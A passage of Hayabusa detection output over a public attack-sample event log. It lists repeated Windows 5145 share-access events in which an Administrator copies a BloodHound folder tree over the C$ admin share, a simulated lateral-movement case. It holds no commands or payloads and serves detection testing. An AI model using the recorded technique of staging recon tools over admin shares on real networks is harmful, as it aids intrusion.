Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\number : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.428 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\object : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.428 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\promise : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.438 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\reflect : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.438 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\regexp : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.438 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\set : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.448 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\string : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.448 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\symbol : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.448 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\system : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.458 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\typed : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.458 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\weak-map : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.458 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\weak-set : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.458 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\library : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.468 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\library\core : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.468 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\library\es5 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.468 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\library\es6 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.478 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\library\es7 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.478 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\library\fn : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.478 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\library\modules : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.518 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\library\stage : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.518 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\library\web : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.518 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\modules : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.558 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\modules\library : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.558 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\stage : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.558 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\web : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.558 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-util-is : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.568 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-util-is\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.568 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\crc-32 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.568 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\crc-32\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.578 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\crc-32\types : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.578 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dagre : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.578 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dagre\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.588 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dagre\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.588 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dagre\lib\data : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.588 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dagre\lib\order : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.588 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dagre\lib\position : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.598 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dagre\lib\rank : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.598 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dagre\node_modules : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.598 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dagre\node_modules\lodash : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.598 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dom-helpers : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.608 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dom-helpers\class : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.608 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dom-helpers\events : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.608 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dom-helpers\query : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.608 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dom-helpers\style : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.608 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dom-helpers\transition : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.618 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dom-helpers\util : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.618 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dot-prop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.618 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\duplexer2 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.618 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\electron-store : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.618 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\env-paths : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.628 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\eventemitter2 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.628 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\eventemitter2\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.628 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\exenv : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.628 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\exit-on-epipe : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.638 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\file-type : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.638 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\find-up : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.638 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\fontfaceobserver : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.638 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\fontfaceobserver\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.638 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\frac : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.648 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\fs.realpath : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.648 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\fstream : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.648 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\fstream\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.648 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: 